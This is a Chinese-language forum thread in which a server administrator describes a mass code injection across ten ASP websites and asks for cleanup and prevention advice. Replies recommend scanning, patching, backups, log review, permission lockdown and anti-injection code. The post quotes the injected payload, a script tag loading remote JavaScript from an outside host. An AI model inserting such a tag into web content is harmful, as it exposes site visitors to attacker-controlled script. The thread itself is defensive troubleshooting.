我的服务器上有十个网站,这几天经常被批量注入代码,连数据库文件也被注入
主要影响主件有:index.asp  conn.asp  user.asp  index.htm  index.htm config.asp
病毒代码为:<script src=http://www.qn518.com/mm/1.js></script>
我是用批量替换方法解决的,但是多少还会有一些问题,而且一定要覆盖数据库文件才能彻底解决
请教版主及各位如何更好解决已发现的问题
如何防范此类问题再发生??
有没有好的软件?
谢谢了

我 帮你顶一下，我会继续关注，希望有更多的人帮助你
我也能从中学习下

1.用XCAN等扫描工具，检查系统或网站程序是否存在漏洞
2.系统安全设置，系统及软件的补丁及时更新
3.及时对网站数据进行备份
4.锁定IP目标，对IP进行筛选限制方法，并进行备案、

建议楼主暂时恢复完成了要先做好两件事

第一、备份数据库
第二、查找漏洞和后门并修复

现在总有一些个2B挂个马，不像我是好人，只看从不挂，哈哈

哈哈！！做好备份最重要！

这样的事情，我们也每年遇上1－2回，原因很简单，网站被注入，上传了asp木马。处理的方法是：
1、找到源头：使用asp木马侦察工具（如“淘特”，十分有效。），对每个网站扫描，特别要注意加密的asp网页。
2、查日志，根据木马文件的名称、上传时间查。找到元凶！！
3、封权限，对可以上传的文件夹单独设置权限为“无”！！
4、检查网站自身的安全性，加入防注入代码。
5、使用Ultraedit替换还原（如果网页文件没有被删除）。
6、系统安全的加强，软硬件防火墙的正确使用就不多说了。